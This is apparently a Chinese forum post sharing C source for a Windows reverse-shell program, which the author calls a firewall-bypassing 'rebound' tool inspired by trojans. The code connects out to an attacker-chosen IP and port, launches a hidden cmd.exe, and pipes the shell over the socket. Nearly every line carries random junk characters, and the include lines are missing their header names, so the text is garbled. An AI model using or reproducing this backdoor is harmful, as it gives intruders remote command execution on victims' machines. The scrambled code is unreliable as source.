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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R#ZJLT  
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/* ============================== >Ho=L)u  
Rebound port in Windows NT j>\rs|^O  
By wind,2006/7 [~|k;\2 +  
===============================*/ PX^ k;  
#include YWd2bRb  
#include 2+)h!y]  
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#pragma comment(lib,"wsock32.lib") mT@Gf>}/A  
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void OutputShell(); ^|vk^`S  
SOCKET sClient; 6W3oIt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BcpbS%S  
p`7d9MV^  
void main(int argc,char **argv) W!.FnM5x  
{ +PsR*T  
WSADATA stWsaData; PCgr`($U  
int nRet; BB3 a8  
SOCKADDR_IN stSaiClient,stSaiServer; [#\OCdb*3  
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if(argc != 3) la)+"uW  
{ |zfFB7}v  
printf("Useage:\n\rRebound DestIP DestPort\n"); $1d{R;b[  
return; p(I^Y{sGI  
} @V^.eVM\R  
cy mC?8<  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^)Y3V-@t  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *wmkcifF;  
("}Hs[  
stSaiClient.sin_family = AF_INET; \pK&gdw  
stSaiClient.sin_port = htons(0); O\;Lb[`lb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @##}zku  
H@zv-{}T8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #WG;p(?:  
{ qgEzK  
printf("Bind Socket Failed!\n"); yRyRH%p)  
return; q0>9T  
} 1z2v[S&pk  
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stSaiServer.sin_family = AF_INET; %j17QD8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MU] F'6V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hV`?, ~K  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yCkWuU9  
{ Dn#5H{D-d  
printf("Connect Error!"); f`>\bdz  
return; +J|LfXgB  
} Qz{Vl> "  
OutputShell(); oui0:Vy<  
} 3 Z SU^v  
p\'X%R  
void OutputShell() Mx93D   
{ PPpaH!(D  
char szBuff[1024]; r SoT]6/   
SECURITY_ATTRIBUTES stSecurityAttributes; +YCWoX 2  
OSVERSIONINFO stOsversionInfo; PeEaF@#k  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u|ihUE!h  
STARTUPINFO stStartupInfo; :|I"Em3R  
char *szShell; ?_uan  
PROCESS_INFORMATION stProcessInformation; @*op5qVw  
unsigned long lBytesRead; 4TU\SP8sM  
+dq2}gM  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #|:q"l9  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -2U|G  
stSecurityAttributes.lpSecurityDescriptor = 0; '{JMWNY  
stSecurityAttributes.bInheritHandle = TRUE; Ug gg!zA  
1#>uqUxah  
n~w[ajC/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Zmk 9C@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $V<fJpA  
jgpF+V-n$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5|bfrc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8193d%Wb  
stStartupInfo.wShowWindow = SW_HIDE; )r*F.m{&:  
stStartupInfo.hStdInput = hReadPipe; \!>qtFT  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %_5?/H@%3z  
2ss*&BR.  
GetVersionEx(&stOsversionInfo); JGzEm>_ m  
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switch(stOsversionInfo.dwPlatformId) nM8'="$  
{ @2$Uk!  
case 1: 1Sns$t%b  
szShell = "command.com"; +y-3tcI)  
break; G [yI[7=d  
default: {t'SA]|g  
szShell = "cmd.exe"; #iD`Bg!VXc  
break; H}usL)0&&  
} URr{J}5  
vsq |m 5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _t X1z ^  
VjiwW%UOM  
send(sClient,szMsg,77,0); YcSPU(  
while(1)  ? EhIK  
{ u~N'UD1x  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N_0B[!B]  
if(lBytesRead) >8`;SEnv  
{ sk t9mU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7$L*nf  
send(sClient,szBuff,lBytesRead,0); 1:I _ ;O_  
} lb}:! Y  
else Q'^$;X~-<  
{ niPqzi  
lBytesRead=recv(sClient,szBuff,1024,0); vcOw`oS  
if(lBytesRead<=0) break; ?IiFFfs  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |Yi_|']#  
} im mf\  
} cm>+f^4?n  
catJC3  
return; |5BvVqn  
}
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